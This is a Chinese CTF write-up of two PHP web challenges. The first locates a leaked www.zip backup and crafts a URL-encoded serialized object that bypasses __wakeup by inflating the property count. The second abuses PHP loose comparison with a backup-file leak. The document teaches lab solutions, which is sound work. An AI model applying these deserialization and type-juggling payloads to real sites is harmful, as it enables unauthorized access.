网页备份文件+php反序列化
[极客大挑战 2019]PHP 1
备份文件 首先学了个burpsuite设置线程池和同步线程
避免发包过快导致 HTTP 429
然后,这里找个大佬博客
CTF——Web网站备份源码泄露
还有大哥给的dict挺给力就是只找到了 flag.php 还无法下载
最后发现
所以访问flag.php查看源码 啥也没有
最后正确的是 www.zip
发现压缩包,有三个文件flag.php
查看index.php和class.php发现是反序列化
显然需要绕过wakeup并且注意最后用urlencode编码(因为是private (当private 和 protected时会存在不可见字符,用urlencode就能整成))
最后的最后,直接调用php urlencode即可,因为vscode下面终端输出的已经全是可见字符了
$a=new Name("admin",100);
echo urlencode(serialize($a));
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//然后绕过一下 wakeup 注意private 需要urlencoe
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
// .这里绕过wakeup
//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
最后传上去得到flag
最后的最后的最后
这跑的也忒慢了,出不来。。
备份文件+数字字符串比较
[ACTF2020 新生赛]BackupFile
这个好,一下子就扫出来了
index.php.bak
intval函数:
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
这就有点简单了
考了个php弱类型比较问题:
数字与字符串比较: 字符串会被转换为数值 然后按数值比较
**转换规则
"123admin"=>123 有数字,遇到第一个非数字直接将后面抛弃
"123a123123123123"=>123
"admin"=>0 无数字,认为为0
"0e12356"=>科学计数法 0e开头的字符串比较时 转换科学计数法 0乘以10的12356次幂
var_dump("0e123456"=="0e44566"); //true
字符串没有"." "e" "E" 则作为int取值
其他所有情况都作为float取值
那就直接构造key=123就得了
最后的最后
这个也有flag.php,也能访问,也是一片空包,源码也是空白,
推测也是一个 $flag=“”;